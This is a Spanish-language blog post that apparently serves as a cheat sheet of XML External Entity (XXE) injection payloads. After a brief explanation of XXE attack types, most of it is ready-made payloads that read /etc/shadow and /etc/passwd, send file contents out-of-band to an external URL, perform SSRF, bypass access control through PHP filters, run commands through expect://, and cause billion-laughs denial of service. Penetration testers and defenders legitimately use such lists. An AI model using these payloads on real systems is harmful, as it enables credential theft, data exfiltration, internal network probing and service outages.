Lista de payloads para inyecciones XXE (XML External Entity)

A estas alturas ya todos sabéis que XML external entity injection (también conocido como XXE) es una vulnerabilidad web que permite que un atacante interfiera en el procesamiento de datos XML de una aplicación. Puede permitir ver archivos del sistema o del servidor de aplicaciones e interactuar con cualquier sistema externo al que pueda acceder la propia aplicación. En algunas situaciones, podemos usar un ataque XXE para comprometer el servidor subyacente u otra infraestructura de back-end, al aprovecharlo para realizar ataques SSRF (server-side request forgery).

Hay varios tipos de ataques XXE:
  • Explotar XXE para recuperar archivos: Cuando se define una entidad externa que contiene el contenido de un archivo y se devuelve en la respuesta de la aplicación.
  • Explotar XXE para realizar ataques SSRF: donde se define una entidad externa basada en una URL o un sistema de backend.
  • Explotar Blind XXE para exfiltrar datos Out-of-Band: Cuando datos sensibles se transmiten desde el servidor de aplicaciones a un sistema que controla el atacante.
  • Explotación de XXE ciego para recuperar datos mediante mensajes de error: donde el atacante puede usar un mensaje de error para obtener datos confidenciales.
Payloads:

XXE: Ejemplo básico XML
<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>John</firstName>
 <lastName>Doe</lastName>
</userInfo>

XXE: Ejemplo Entity
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

XXE: Descubrimiento de ficheros
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

XXE: Ejemplo de denegación de servicio
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

XXE: Ejemplo LFI
<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

XXE: Ejemplo LFI ciego (cuando el primer caso no devuelve nada.)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

XXE: Bypass de control de acceso (Cargando recursos restringidos - Ejemplo PHP)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

XXE: Ejemplo SSRF (Server Side Request Forgery)
<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>

XXE: (Ataque remoto - a través de XML Inclusion)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>

XXE: Ejemplo UTF-7
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

XXE: Base64 encodeado
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

XXE: XXE dentro de una ejemplo SOAP
<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

XXE: XXE dentro de SVG
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

Referencias:
point_right XML External Entity (XXE) Processing
point_right XML External Entity Prevention Cheat Sheet
point_right Testing for XML Injection (OTG-INPVAL-008)

Téneis estos y más payloads imprescindibles en: https://github.com/payloadbox

Comentarios